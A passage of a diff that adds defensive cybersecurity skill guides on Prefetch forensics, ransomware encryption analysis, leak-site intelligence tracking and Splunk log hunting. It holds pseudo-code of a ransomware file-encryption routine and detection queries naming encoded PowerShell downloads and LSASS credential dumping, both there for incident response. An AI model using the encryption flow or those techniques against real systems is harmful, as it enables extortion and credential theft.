entry['last_run_times']: + if ts: + timeline.append({ + 'timestamp': ts, + 'executable': entry['executable'], + 'run_count': entry['run_count'], + 'source': 'Prefetch' + }) + elif 'last_run' in entry and entry['last_run']: + timeline.append({ + 'timestamp': entry['last_run'], + 'executable': entry['executable'], + 'run_count': entry['run_count'], + 'source': 'Prefetch' + }) + +# Sort chronologically +timeline.sort(key=lambda x: x['timestamp']) + +# Write timeline CSV +with open('/cases/case-2024-001/analysis/execution_timeline.csv', 'w', newline='') as f: + writer = csv.DictWriter(f, fieldnames=['timestamp', 'executable', 'run_count', 'source']) + writer.writeheader() + writer.writerows(timeline) + +# Print suspicious time window +for entry in timeline: + if '2024-01-15' in entry['timestamp'] or '2024-01-16' in entry['timestamp']: + print(f" {entry['timestamp']} | {entry['executable']} (x{entry['run_count']})") +PYEOF +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Prefetch | Windows performance optimization that pre-loads application data and tracks execution | +| SCCA signature | Magic bytes identifying a valid Prefetch file | +| Path hash | CRC-based hash of the executable path forming part of the .pf filename | +| Run count | Number of times the executable has been launched (may wrap around) | +| Last run timestamps | Windows 8+ stores up to 8 most recent execution timestamps | +| Referenced files | List of files and directories accessed during the first 10 seconds of execution | +| Volume information | Drive serial number and creation date identifying the source volume | +| MAM compression | Windows 10 Prefetch files use MAM4 compression requiring decompression before parsing | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| PECmd | Eric Zimmerman's Prefetch parser with CSV/JSON output | +| WinPrefetchView | NirSoft GUI tool for viewing Prefetch files | +| python-prefetch | Python library for parsing Prefetch files | +| Prefetch Hash Calculator | Tool to calculate expected hash from executable paths | +| KAPE | Automated artifact collection including Prefetch | +| Autopsy | Forensic platform with Prefetch analysis module | +| Plaso/log2timeline | Super-timeline tool that includes Prefetch parser | +| Velociraptor | Endpoint agent with Prefetch collection and analysis artifacts | + +## Common Scenarios + +**Scenario 1: Confirming Malware Execution** +Search Prefetch directory for the malware executable name, confirm execution via Prefetch existence, extract run count and last run time, identify referenced DLLs to understand malware behavior, correlate with registry autorun entries. + +**Scenario 2: Attacker Tool Usage Timeline** +Identify Prefetch files for PsExec, Mimikatz, BloodHound, and other attacker tools, build chronological timeline of tool execution, determine the sequence of the attack (reconnaissance, credential theft, lateral movement), match timestamps with network connection logs. + +**Scenario 3: Data Staging and Exfiltration** +Look for Prefetch entries of compression tools (7z, WinRAR, zip), identify execution of file transfer utilities (rclone, FTP clients), check for cloud storage client execution, timeline when data staging and transfer occurred. + +**Scenario 4: Anti-Forensics Detection** +Check for execution of known anti-forensic tools (CCleaner, Eraser, SDelete), identify if Prefetch directory was recently cleared (fewer files than expected for active system), note timestamps of anti-forensic tool execution relative to other evidence. + +## Output Format + +``` +Prefetch Analysis Summary: + System: Windows 10 Pro (Build 19041) + Prefetch Files: 234 + Analysis Period: All available execution history + + Execution Statistics: + Total unique executables: 234 + First execution: 2023-06-15 (system install) + Latest execution: 2024-01-18 23:45 UTC + + Suspicious Executions: + MIMIKATZ.EXE-5F2A3B1C.pf + Run Count: 3 | Last: 2024-01-16 02:30:15 UTC + PSEXEC.EXE-AD70946C.pf + Run Count: 7 | Last: 2024-01-16 02:45:30 UTC + RCLONE.EXE-1F3E5A2B.pf + Run Count: 2 | Last: 2024-01-17 03:15:00 UTC + POWERSHELL.EXE-022A1004.pf + Run Count: 145 | Last: 2024-01-18 14:00:00 UTC + + Attack Timeline (from Prefetch): + 2024-01-15 14:32 - POWERSHELL.EXE (initial access) + 2024-01-16 02:30 - MIMIKATZ.EXE (credential theft) + 2024-01-16 02:45 - PSEXEC.EXE (lateral movement) + 2024-01-17 03:15 - RCLONE.EXE (data exfiltration) + + Report: /cases/case-2024-001/analysis/execution_timeline.csv +``` diff --git a/skills/analyzing-ransomware-encryption-mechanisms/SKILL.md b/skills/analyzing-ransomware-encryption-mechanisms/SKILL.md new file mode 100644 index 00000000..77d748da --- /dev/null +++ b/skills/analyzing-ransomware-encryption-mechanisms/SKILL.md @@ -0,0 +1,327 @@ +--- +name: analyzing-ransomware-encryption-mechanisms +description: > + Analyzes encryption algorithms, key management, and file encryption routines used by + ransomware families to assess decryption feasibility, identify implementation weaknesses, + and support recovery efforts. Covers AES, RSA, ChaCha20, and hybrid encryption schemes. + Activates for requests involving ransomware cryptanalysis, encryption analysis, key + recovery assessment, or ransomware decryption feasibility. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, ransomware, encryption, cryptanalysis, reverse-engineering] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Ransomware Encryption Mechanisms + +## When to Use + +- A ransomware infection has occurred and recovery requires understanding the encryption scheme used +- Assessing whether decryption is possible without paying the ransom (implementation flaws, known decryptors) +- Reverse engineering ransomware to identify the encryption algorithm, key derivation, and key storage mechanism +- Developing a decryptor tool when a weakness in the ransomware's cryptographic implementation is identified +- Classifying a ransomware sample by its encryption approach to attribute it to a known family + +**Do not use** for production data recovery operations without first verifying the decryption method on test copies of encrypted files. + +## Prerequisites + +- Ghidra or IDA Pro for reverse engineering the ransomware binary +- Python 3.8+ with `pycryptodome` library for testing encryption/decryption routines +- Sample encrypted files and their corresponding plaintext originals (known-plaintext pairs) +- Access to the ransomware binary (unpacked if applicable) +- Familiarity with symmetric (AES, ChaCha20) and asymmetric (RSA) cryptographic algorithms +- NoMoreRansom.org database for checking existing free decryptors + +## Workflow + +### Step 1: Identify the Encryption Algorithm + +Determine which cryptographic algorithm the ransomware uses: + +```python +# Check for Windows Crypto API usage in imports +import pefile + +pe = pefile.PE("ransomware.exe") + +crypto_apis = { + "CryptAcquireContextA": "Windows CryptoAPI", + "CryptAcquireContextW": "Windows CryptoAPI", + "CryptGenKey": "Windows CryptoAPI key generation", + "CryptEncrypt": "Windows CryptoAPI encryption", + "CryptImportKey": "Windows CryptoAPI key import", + "BCryptOpenAlgorithmProvider": "Windows CNG (modern crypto)", + "BCryptEncrypt": "Windows CNG encryption", + "BCryptGenerateKeyPair": "Windows CNG asymmetric key gen", +} + +print("Crypto API Imports:") +for entry in pe.DIRECTORY_ENTRY_IMPORT: + for imp in entry.imports: + if imp.name and imp.name.decode() in crypto_apis: + print(f" {entry.dll.decode()} -> {imp.name.decode()}: {crypto_apis[imp.name.decode()]}") +``` + +``` +Common Ransomware Encryption Schemes: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +AES-256-CBC + RSA-2048: Most common hybrid scheme (LockBit, REvil, Conti) +AES-256-CTR + RSA-4096: Stream cipher mode variant (BlackCat/ALPHV) +ChaCha20 + RSA-4096: Modern stream cipher (Hive, Royal) +Salsa20 + ECDH: Curve25519 key exchange (Babuk) +AES-128-ECB: Weak mode - potential decryption via known-plaintext +XOR-only: Trivial encryption - always recoverable +Custom algorithm: Often contains implementation flaws +``` + +### Step 2: Analyze Key Generation and Management + +Reverse engineer how encryption keys are generated and stored: + +``` +Key Management Patterns in Ransomware: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. STRONG (no recovery possible without key): + - Per-file AES key generated with CryptGenRandom + - AES key encrypted with embedded RSA public key + - Encrypted key appended to each file or stored separately + - RSA private key held only by attacker's C2 server + +2. WEAK (potential recovery): + - AES key derived from predictable seed (timestamp, PID) + - Same AES key used for all files (single key compromise = full recovery) + - Key transmitted to C2 before encryption starts (PCAP may contain key) + - XOR with short repeating key (brute-forceable) + - PRNG seeded with GetTickCount or time() (limited keyspace) + +3. FLAWED IMPLEMENTATION: + - ECB mode (preserves plaintext patterns) + - Initialization vector (IV) reuse across files + - Key stored in plaintext in memory (recoverable from memory dump) + - Partial encryption (only first N bytes encrypted) +``` + +### Step 3: Examine File Encryption Routine + +Reverse engineer the file processing logic: + +```c +// Typical ransomware file encryption flow (decompiled pseudo-code from Ghidra): + +void encrypt_file(char *filepath) { + // 1. Check file extension against target list + if (!is_target_extension(filepath)) return; + + // 2. Generate per-file AES key (32 bytes for AES-256) + BYTE aes_key[32]; + CryptGenRandom(hProv, 32, aes_key); + + // 3. Generate random IV (16 bytes) + BYTE iv[16]; + CryptGenRandom(hProv, 16, iv); + + // 4. Read file contents + HANDLE hFile = CreateFile(filepath, GENERIC_READ, ...); + BYTE *plaintext = read_entire_file(hFile); + + // 5. Encrypt with AES-256-CBC + aes_cbc_encrypt(plaintext, file_size, aes_key, iv); + + // 6. Encrypt AES key with RSA public key + BYTE encrypted_key[256]; // RSA-2048 output + rsa_encrypt(aes_key, 32, rsa_pubkey, encrypted_key); + + // 7. Write: encrypted_data + encrypted_key + IV to file + write_file(filepath, encrypted_data, encrypted_key, iv); + + // 8. Rename file with ransomware extension + rename_file(filepath, strcat(filepath, ".locked")); +} +``` + +### Step 4: Check for Cryptographic Weaknesses + +Test the implementation for exploitable flaws: + +```python +from Crypto.Cipher import AES +import os +import struct + +# Test 1: Check if same key is used for multiple files +# Compare encrypted versions of known files +def check_key_reuse(file1_enc, file2_enc): + with open(file1_enc, "rb") as f: + data1 = f.read() + with open(file2_enc, "rb") as f: + data2 = f.read() + + # Extract IVs (location depends on ransomware family) + # If IVs are same and files share encrypted blocks -> same key + iv1 = data1[-16:] # Example: IV at end + iv2 = data2[-16:] + if iv1 == iv2: + print("[!] Same IV detected - key reuse likely") + +# Test 2: Check for predictable key derivation +# If key is derived from timestamp, iterate possible values +def brute_force_timestamp_key(encrypted_file, known_header, timestamp_range): + with open(encrypted_file, "rb") as f: + encrypted_data = f.read() + + for ts in timestamp_range: + # Derive key the same way ransomware does + import hashlib + key = hashlib.sha256(str(ts).encode()).digest() + iv = encrypted_data[-16:] + cipher = AES.new(key, AES.MODE_CBC, iv) + decrypted = cipher.decrypt(encrypted_data[:16]) + + if decrypted[:len(known_header)] == known_header: + print(f"[!] Key found! Timestamp: {ts}") + return key + + return None + +# Test 3: Check for ECB mode (pattern preservation) +def check_ecb_mode(encrypted_file): + with open(encrypted_file, "rb") as f: + data = f.read() + # ECB produces identical ciphertext for identical plaintext blocks + blocks = [data[i:i+16] for i in range(0, len(data), 16)] + unique = len(set(blocks)) + total = len(blocks) + if unique < total * 0.95: + print(f"[!] ECB mode likely: {total-unique} duplicate blocks out of {total}") +``` + +### Step 5: Attempt Key Recovery + +Use identified weaknesses for key recovery: + +```python +# Recovery Method 1: Extract key from memory dump +# Volatility plugin to scan for AES key schedules +# vol3 -f memory.dmp windows.yarascan --yara-rule "aes_key_schedule" + +# Recovery Method 2: Known-plaintext attack (weak algorithms) +def xor_key_recovery(encrypted_file, known_plaintext): + """Recover XOR key from known plaintext-ciphertext pair""" + with open(encrypted_file, "rb") as f: + ciphertext = f.read() + + key = bytes(c ^ p for c, p in zip(ciphertext, known_plaintext)) + # Find repeating key length + for key_len in range(1, 256): + candidate = key[:key_len] + if all(key[i] == candidate[i % key_len] for i in range(min(len(key), key_len * 4))): + print(f"XOR key (length {key_len}): {candidate.hex()}") + return candidate + return None + +# Recovery Method 3: Check NoMoreRansom for existing decryptors +# https://www.nomoreransom.org/en/decryption-tools.html +``` + +### Step 6: Document Encryption Analysis + +Compile findings into a structured report: + +``` +Analysis should document: +- Algorithm identified (AES, RSA, ChaCha20, custom) +- Key size and mode of operation (CBC, CTR, ECB, GCM) +- Key generation method (CSPRNG, predictable seed, static key) +- Key storage location (appended to file, registry, C2 transmission) +- File modification pattern (full encryption, partial, header-only) +- Targeted file extensions +- Ransom note format and payment infrastructure +- Decryption feasibility assessment (possible/impossible/partial) +- Recommended recovery approach +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Hybrid Encryption** | Combining symmetric (AES) for fast file encryption with asymmetric (RSA) for secure key wrapping; the standard ransomware approach | +| **Key Wrapping** | Encrypting the per-file symmetric key with the attacker's RSA public key so only the attacker's private key can decrypt it | +| **ECB Mode** | Electronic Codebook mode encrypts each block independently; preserves patterns in plaintext, a critical weakness enabling partial recovery | +| **Known-Plaintext Attack** | Using a known original file and its encrypted version to derive the encryption key; effective against XOR and weak stream ciphers | +| **Key Schedule** | The expanded form of an AES key in memory; scannable in memory dumps to recover encryption keys before they are erased | +| **CSPRNG** | Cryptographically Secure Pseudo-Random Number Generator; ransomware using CryptGenRandom produces unpredictable keys | +| **Partial Encryption** | Some ransomware only encrypts the first N bytes or every Nth block for speed; unencrypted portions may aid recovery | + +## Tools & Systems + +- **Ghidra**: Reverse engineering suite for analyzing ransomware encryption routines at the assembly level +- **PyCryptodome**: Python cryptographic library for implementing and testing decryption routines +- **NoMoreRansom.org**: Free decryption tool repository maintained by Europol and security vendors for known ransomware families +- **Volatility**: Memory forensics framework for extracting encryption keys from RAM dumps of infected systems +- **CryptoTester**: Tool for identifying cryptographic algorithms based on constants and code patterns + +## Common Scenarios + +### Scenario: Assessing Decryption Feasibility for a Ransomware Incident + +**Context**: An organization is hit with ransomware encrypting file servers. Management needs to know if decryption is possible without paying the ransom before making a recovery decision. + +**Approach**: +1. Identify the ransomware family from ransom note, file extension, and sample hash (check ID Ransomware) +2. Check NoMoreRansom.org for existing free decryptors for this family +3. Reverse engineer the encryption routine in Ghidra to identify the algorithm and key management +4. Test for implementation weaknesses (key reuse, predictable seeds, ECB mode) +5. Check if PCAP from the incident captured the key transmission to C2 (if key was sent before encryption) +6. Scan memory dumps from affected machines for AES key schedules in RAM +7. Report findings: decryption possible/impossible with specific technical justification + +**Pitfalls**: +- Testing decryption methods on the only copy of encrypted files (always work on copies) +- Assuming all files use the same key without verifying (some ransomware uses per-file keys) +- Not checking for volume shadow copies (vssadmin) which ransomware may have failed to delete +- Confusing the file encryption algorithm with the key wrapping algorithm in reports + +## Output Format + +``` +RANSOMWARE ENCRYPTION ANALYSIS +================================ +Sample: lockbit3.exe +Family: LockBit 3.0 / LockBit Black +SHA-256: abc123def456... + +ENCRYPTION SCHEME +File Cipher: AES-256-CTR (per-file unique key) +Key Wrapping: RSA-2048 (public key embedded in binary) +Key Generation: CryptGenRandom (CSPRNG - unpredictable) +IV Generation: Random 16 bytes per file +File Structure: [encrypted_data][rsa_encrypted_key(256B)][iv(16B)][magic(8B)] + +TARGETED EXTENSIONS +Total: 412 extensions targeted +Categories: Documents (.doc, .xls, .pdf), Databases (.sql, .mdb), + Archives (.zip, .7z), Source code (.py, .java, .cs) +Excluded: .exe, .dll, .sys, .lnk (system files preserved) + +IMPLEMENTATION ANALYSIS +Key Strength: STRONG - per-file random keys, no reuse +Mode Security: STRONG - CTR mode with unique nonces +Key Storage: RSA-encrypted key appended to each file +Shadow Copies: Deleted via vssadmin and WMI + +DECRYPTION FEASIBILITY +Without Key: NOT POSSIBLE + - No implementation flaws identified + - RSA-2048 key wrapping prevents brute force + - CSPRNG prevents key prediction + - No existing free decryptor available + +RECOVERY OPTIONS +1. Restore from offline backups (recommended) +2. Check for volume shadow copies (low probability - ransomware deletes them) +3. Memory forensics if machine was not rebooted (key may persist in RAM) +4. Negotiate with attacker (last resort - no guarantee of decryption) +``` diff --git a/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md b/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md new file mode 100644 index 00000000..b4544493 --- /dev/null +++ b/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md @@ -0,0 +1,316 @@ +--- +name: analyzing-ransomware-leak-site-intelligence +description: Monitor and analyze ransomware group data leak sites (DLS) to track victim postings, extract threat intelligence on group tactics, and assess sector-specific ransomware risk for proactive defense. +domain: cybersecurity +subdomain: threat-intelligence +tags: [ransomware, leak-site, data-leak, extortion, threat-intelligence, monitoring, dls, victim-tracking] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Ransomware Leak Site Intelligence + +## Overview + +Ransomware groups operating under double-extortion models maintain data leak sites (DLS) on Tor hidden services where they post victim names, stolen data samples, and countdown timers to pressure payment. In H1 2025, 96 unique ransomware groups were active, listing approximately 535 victims per month. Monitoring these sites provides intelligence on active threat groups, targeted sectors, geographic patterns, and emerging ransomware families. This skill covers safely collecting DLS intelligence, extracting structured data, tracking group activity trends, and producing sector-specific risk assessments. + +## Prerequisites + +- Python 3.9+ with `requests`, `beautifulsoup4`, `pandas`, `matplotlib` libraries +- Tor proxy (SOCKS5) for accessing .onion sites or commercial DLS monitoring feeds +- Understanding of ransomware double-extortion business model +- Familiarity with major ransomware families (Qilin, Akira, LockBit, BlackCat, Clop) +- Access to ransomware tracking feeds (Ransomwatch, RansomLook, DarkFeed) + +## Key Concepts + +### Double Extortion Model + +Modern ransomware groups encrypt victim data AND exfiltrate it before encryption. Leak sites serve as public pressure: victims are listed with a countdown timer, partial data samples, and file trees. If ransom is not paid, full data is published. Some groups have moved to triple extortion, adding DDoS threats or contacting victims' customers directly. + +### DLS Intelligence Value + +Leak sites provide: victim identification (company name, sector, country), attack timeline (when listed, deadline, data published), data volume estimates, group capability assessment (sectors targeted, attack frequency, operational tempo), and trend analysis (new groups emerging, groups rebranding, law enforcement takedowns). + +### Safe Collection Practices + +Never directly access DLS sites in a production environment. Use purpose-built monitoring services (Ransomwatch, DarkFeed, KELA, Flashpoint), Tor-isolated research VMs, commercial threat intelligence platforms, or community-maintained datasets. All analysis should be conducted in isolated environments with proper authorization. + +## Practical Steps + +### Step 1: Ingest Ransomware Leak Site Data from Public Feeds + +```python +import requests +import json +import pandas as pd +from datetime import datetime, timedelta +from collections import Counter + +class RansomwareIntelCollector: + """Collect ransomware DLS intelligence from public tracking sources.""" + + RANSOMWATCH_API = "https://raw.githubusercontent.com/joshhighet/ransomwatch/main/posts.json" + RANSOMWATCH_GROUPS = "https://raw.githubusercontent.com/joshhighet/ransomwatch/main/groups.json" + + def __init__(self): + self.posts = [] + self.groups = [] + + def fetch_ransomwatch_data(self): + """Fetch ransomware victim posts from ransomwatch.""" + resp = requests.get(self.RANSOMWATCH_API, timeout=30) + if resp.status_code == 200: + self.posts = resp.json() + print(f"[+] Loaded {len(self.posts)} victim posts from ransomwatch") + else: + print(f"[-] Failed to fetch posts: {resp.status_code}") + + resp = requests.get(self.RANSOMWATCH_GROUPS, timeout=30) + if resp.status_code == 200: + self.groups = resp.json() + print(f"[+] Loaded {len(self.groups)} ransomware group profiles") + + return self.posts + + def get_recent_victims(self, days=30): + """Get victims posted in the last N days.""" + cutoff = datetime.now() - timedelta(days=days) + recent = [] + for post in self.posts: + try: + discovered = datetime.fromisoformat( + post.get("discovered", "").replace("Z", "+00:00") + ) + if discovered.replace(tzinfo=None) >= cutoff: + recent.append(post) + except (ValueError, TypeError): + continue + print(f"[+] {len(recent)} victims in last {days} days") + return recent + + def get_group_activity(self, group_name): + """Get all posts by a specific ransomware group.""" + group_posts = [ + p for p in self.posts + if p.get("group_name", "").lower() == group_name.lower() + ] + print(f"[+] {group_name}: {len(group_posts)} total victims") + return group_posts + +collector = RansomwareIntelCollector() +collector.fetch_ransomwatch_data() +recent = collector.get_recent_victims(days=30) +``` + +### Step 2: Analyze Group Activity and Trends + +```python +def analyze_group_trends(posts, top_n=15): + """Analyze ransomware group activity trends.""" + group_counts = Counter(p.get("group_name", "unknown") for p in posts) + monthly_activity = {} + + for post in posts: + try: + date = datetime.fromisoformat( + post.get("discovered", "").replace("Z", "+00:00") + ) + month_key = date.strftime("%Y-%m") + group = post.get("group_name", "unknown") + if month_key not in monthly_activity: + monthly_activity[month_key] = Counter() + monthly_activity[month_key][group] += 1 + except (ValueError, TypeError): + continue + + analysis = { + "total_posts": len(posts), + "unique_groups": len(group_counts), + "top_groups": group_counts.most_common(top_n), + "monthly_totals": { + month: sum(counts.values()) + for month, counts in sorted(monthly_activity.items()) + }, + "monthly_top_groups": { + month: counts.most_common(5) + for month, counts in sorted(monthly_activity.items()) + }, + } + + print(f"\n=== Ransomware Group Activity ===") + print(f"Total victims tracked: {analysis['total_posts']}") + print(f"Active groups: {analysis['unique_groups']}") + print(f"\nTop {top_n} Groups:") + for group, count in analysis["top_groups"]: + print(f" {group}: {count} victims") + + return analysis + +trends = analyze_group_trends(collector.posts) +``` + +### Step 3: Sector and Geographic Risk Assessment + +```python +def assess_sector_risk(posts, target_sector=None, target_country=None): + """Assess ransomware risk for specific sector or geography.""" + sector_data = {} + country_data = {} + + for post in posts: + # Extract sector if available (not all feeds include this) + sector = post.get("sector", post.get("industry", "unknown")) + country = post.get("country", "unknown") + + if sector not in sector_data: + sector_data[sector] = {"count": 0, "groups": Counter(), "recent": []} + sector_data[sector]["count"] += 1 + sector_data[sector]["groups"][post.get("group_name", "")] += 1 + + if country not in country_data: + country_data[country] = {"count": 0, "groups": Counter()} + country_data[country]["count"] += 1 + country_data[country]["groups"][post.get("group_name", "")] += 1 + + # Sector risk scoring + total = len(posts) + risk_assessment = { + "total_victims": total, + "sectors": {}, + "countries": {}, + } + + for sector, data in sorted(sector_data.items(), key=lambda x: -x[1]["count"]): + pct = (data["count"] / total * 100) if total > 0 else 0 + risk_assessment["sectors"][sector] = { + "victim_count": data["count"], + "percentage": round(pct, 1), + "top_groups": data["groups"].most_common(5), + "risk_level": ( + "critical" if pct > 15 + else "high" if pct > 8 + else "medium" if pct > 3 + else "low" + ), + } + + for country, data in sorted(country_data.items(), key=lambda x: -x[1]["count"]): + pct = (data["count"] / total * 100) if total > 0 else 0 + risk_assessment["countries"][country] = { + "victim_count": data["count"], + "percentage": round(pct, 1), + "top_groups": data["groups"].most_common(5), + } + + return risk_assessment + +risk = assess_sector_risk(collector.posts) +``` + +### Step 4: Track Emerging and Rebranding Groups + +```python +def track_new_groups(posts, lookback_days=90): + """Identify newly emerged ransomware groups.""" + group_first_seen = {} + for post in posts: + group = post.get("group_name", "") + try: + date = datetime.fromisoformat( + post.get("discovered", "").replace("Z", "+00:00") + ) + if group not in group_first_seen or date < group_first_seen[group]["first_seen"]: + group_first_seen[group] = { + "first_seen": date, + "first_victim": post.get("post_title", ""), + } + except (ValueError, TypeError): + continue + + cutoff = datetime.now() - timedelta(days=lookback_days) + new_groups = { + group: info for group, info in group_first_seen.items() + if info["first_seen"].replace(tzinfo=None) >= cutoff + } + + # Count total victims per new group + for group in new_groups: + victims = [p for p in posts if p.get("group_name") == group] + new_groups[group]["total_victims"] = len(victims) + new_groups[group]["avg_per_month"] = round( + len(victims) / max(1, lookback_days / 30), 1 + ) + + print(f"\n=== New Groups (last {lookback_days} days) ===") + for group, info in sorted(new_groups.items(), key=lambda x: -x[1]["total_victims"]): + print(f" {group}: {info['total_victims']} victims, " + f"first seen {info['first_seen'].strftime('%Y-%m-%d')}") + + return new_groups + +new_groups = track_new_groups(collector.posts, lookback_days=90) +``` + +### Step 5: Generate Intelligence Report + +```python +def generate_ransomware_intel_report(trends, risk, new_groups): + """Generate ransomware threat intelligence report.""" + report = f"""# Ransomware Threat Intelligence Report +Generated: {datetime.now().isoformat()} + +## Executive Summary +- **Total victims tracked**: {trends['total_posts']} +- **Active ransomware groups**: {trends['unique_groups']} +- **New groups (last 90 days)**: {len(new_groups)} + +## Top Active Groups +| Rank | Group | Victims | +|------|-------|---------| +""" + for i, (group, count) in enumerate(trends["top_groups"][:10], 1): + report += f"| {i} | {group} | {count} |\n" + + report += "\n## New Emerging Groups\n" + for group, info in sorted(new_groups.items(), key=lambda x: -x[1]["total_victims"])[:10]: + report += f"- **{group}**: {info['total_victims']} victims since {info['first_seen'].strftime('%Y-%m-%d')}\n" + + report += "\n## Sector Risk Assessment\n" + report += "| Sector | Victims | % | Risk Level |\n|--------|---------|---|------------|\n" + for sector, data in list(risk["sectors"].items())[:10]: + report += f"| {sector} | {data['victim_count']} | {data['percentage']}% | {data['risk_level'].upper()} |\n" + + report += """ +## Recommendations +1. Monitor DLS feeds daily for your organization and supply chain partners +2. Prioritize patching vulnerabilities exploited by top active groups +3. Implement offline backup strategy to reduce extortion leverage +4. Conduct tabletop exercises for ransomware scenario response +5. Share indicators with sector ISACs and threat sharing communities +""" + with open("ransomware_intel_report.md", "w") as f: + f.write(report) + print("[+] Report saved: ransomware_intel_report.md") + return report + +generate_ransomware_intel_report(trends, risk, new_groups) +``` + +## Validation Criteria + +- Ransomware victim data ingested from public tracking feeds +- Group activity trends analyzed with monthly breakdowns +- Sector and geographic risk assessment produced +- New and emerging groups identified with activity metrics +- Intelligence report generated with actionable recommendations +- All collection conducted through authorized public sources + +## References + +- [Ransomwatch GitHub](https://github.com/joshhighet/ransomwatch) +- [SOCRadar: Top Ransomware Statistics 2025](https://socradar.io/blog/top-20-ransomware-statistics-to-know-2025/) +- [Bitsight: Ransomware & Deep Web Trends](https://www.bitsight.com/underground/ransomware) +- [Sophos: Threat Intelligence Report 2025](https://www.sophos.com/en-us/blog/threat-intelligence-executive-report-volume-2025-number-6) +- [H-ISAC: Ransomware Data Leak Sites Report](https://www.aha.org/h-isac-green-reports/2025-08-26-h-isac-tlp-ransomware-data-leak-sites-report-august-26-2025) +- [CYFIRMA: Weekly Intelligence Reports](https://www.cyfirma.com/news/weekly-intelligence-report-16-january-2026/) diff --git a/skills/analyzing-security-logs-with-splunk/SKILL.md b/skills/analyzing-security-logs-with-splunk/SKILL.md new file mode 100644 index 00000000..f3e5d01c --- /dev/null +++ b/skills/analyzing-security-logs-with-splunk/SKILL.md @@ -0,0 +1,238 @@ +--- +name: analyzing-security-logs-with-splunk +description: > + Leverages Splunk Enterprise Security and SPL (Search Processing Language) to + investigate security incidents through log correlation, timeline reconstruction, + and anomaly detection. Covers Windows event logs, firewall logs, proxy logs, and + authentication data analysis. Activates for requests involving Splunk investigation, + SPL queries, SIEM log analysis, security event correlation, or log-based incident + investigation. +domain: cybersecurity +subdomain: incident-response +tags: [splunk, SPL, SIEM, log-analysis, security-monitoring] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Security Logs with Splunk + +## When to Use + +- Investigating a security incident that requires correlation across multiple log sources +- Hunting for adversary activity using known TTPs and IOCs +- Building detection rules for specific attack patterns +- Reconstructing an incident timeline from disparate log sources +- Analyzing authentication anomalies, lateral movement, or data exfiltration patterns + +**Do not use** for real-time packet-level analysis; use Wireshark or Zeek for full packet capture analysis. + +## Prerequisites + +- Splunk Enterprise or Splunk Cloud with Enterprise Security (ES) app installed +- Log sources ingested: Windows Event Logs (via Splunk Universal Forwarder or WEF), firewall, proxy, DNS, EDR, email gateway +- Splunk CIM (Common Information Model) data models configured for normalized field names +- SPL proficiency at intermediate level or higher +- Role-based access with `search` and `accelerate_search` capabilities in Splunk + +## Workflow + +### Step 1: Scope the Investigation in Splunk + +Define search parameters based on incident triage data: + +```spl +| Set initial investigation scope +index=windows OR index=firewall OR index=proxy + earliest="2025-11-14T00:00:00" latest="2025-11-16T00:00:00" + (host="WKSTN-042" OR src_ip="10.1.5.42" OR user="jsmith") +| stats count by index, sourcetype, host +| sort -count +``` + +This query establishes which log sources contain relevant data for the investigation timeframe and affected assets. + +### Step 2: Analyze Authentication Events + +Investigate suspicious authentication patterns using Windows Security Event Logs: + +```spl +| Detect brute force and credential stuffing +index=windows sourcetype="WinEventLog:Security" EventCode=4625 + earliest=-24h +| stats count as failed_attempts, values(src_ip) as source_ips, + dc(src_ip) as unique_sources by TargetUserName +| where failed_attempts > 10 +| sort -failed_attempts + +| Detect pass-the-hash (Logon Type 9 - NewCredentials) +index=windows sourcetype="WinEventLog:Security" EventCode=4624 + Logon_Type=9 +| table _time, host, TargetUserName, src_ip, LogonProcessName + +| Detect lateral movement via RDP +index=windows sourcetype="WinEventLog:Security" EventCode=4624 + Logon_Type=10 +| stats count, values(host) as targets by TargetUserName, src_ip +| where count > 3 +| sort -count +``` + +### Step 3: Trace Process Execution + +Use Sysmon logs to reconstruct process execution chains: + +```spl +| Process creation with parent chain (Sysmon Event ID 1) +index=sysmon EventCode=1 host="WKSTN-042" + earliest="2025-11-15T14:00:00" latest="2025-11-15T15:00:00" +| table _time, ParentImage, ParentCommandLine, Image, CommandLine, User, Hashes +| sort _time + +| Detect suspicious PowerShell execution +index=sysmon EventCode=1 Image="*\\powershell.exe" + (CommandLine="*-enc*" OR CommandLine="*-encodedcommand*" + OR CommandLine="*downloadstring*" OR CommandLine="*iex*") +| table _time, host, User, ParentImage, CommandLine +| sort _time + +| Detect LSASS credential dumping +index=sysmon EventCode=10 TargetImage="*\\lsass.exe" + GrantedAccess=0x1010 +| table _time, host, SourceImage, SourceUser, GrantedAccess +``` + +### Step 4: Analyze Network Activity + +Correlate network logs with endpoint events: + +```spl +| Detect C2 beaconing pattern +index=proxy OR index=firewall dest_ip="185.220.101.42" +| timechart span=1m count by src_ip +| where count > 0 + +| Detect DNS tunneling (high query volume to single domain) +index=dns +| rex field=query "(?[^\.]+)\.(?[^\.]+\.[^\.]+)$" +| stats count, avg(len(query)) as avg_query_len by domain, src_ip +| where count > 500 AND avg_query_len > 40 +| sort -count + +| Detect large data transfers (potential exfiltration) +index=proxy action=allowed +| stats sum(bytes_out) as total_bytes by src_ip, dest_ip, dest_host +| eval total_MB=round(total_bytes/1024/1024,2) +| where total_MB > 100 +| sort -total_MB +``` + +### Step 5: Build the Incident Timeline + +Reconstruct a unified timeline across all log sources: + +```spl +| Unified incident timeline +index=windows OR index=sysmon OR index=proxy OR index=firewall + (host="WKSTN-042" OR src_ip="10.1.5.42" OR user="jsmith") + earliest="2025-11-15T14:00:00" latest="2025-11-15T16:00:00" +| eval event_summary=case( + sourcetype=="WinEventLog:Security" AND EventCode==4624, "Logon: ".TargetUserName." from ".src_ip, + sourcetype=="WinEventLog:Security" AND EventCode==4625, "Failed logon: ".TargetUserName, + sourcetype=="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" AND EventCode==1, + "Process: ".Image." by ".User, + sourcetype=="proxy", "Web: ".http_method." ".url, + 1==1, sourcetype.": ".EventCode) +| table _time, sourcetype, host, event_summary +| sort _time +``` + +### Step 6: Create Detection Rules + +Convert investigation findings into persistent Splunk correlation searches: 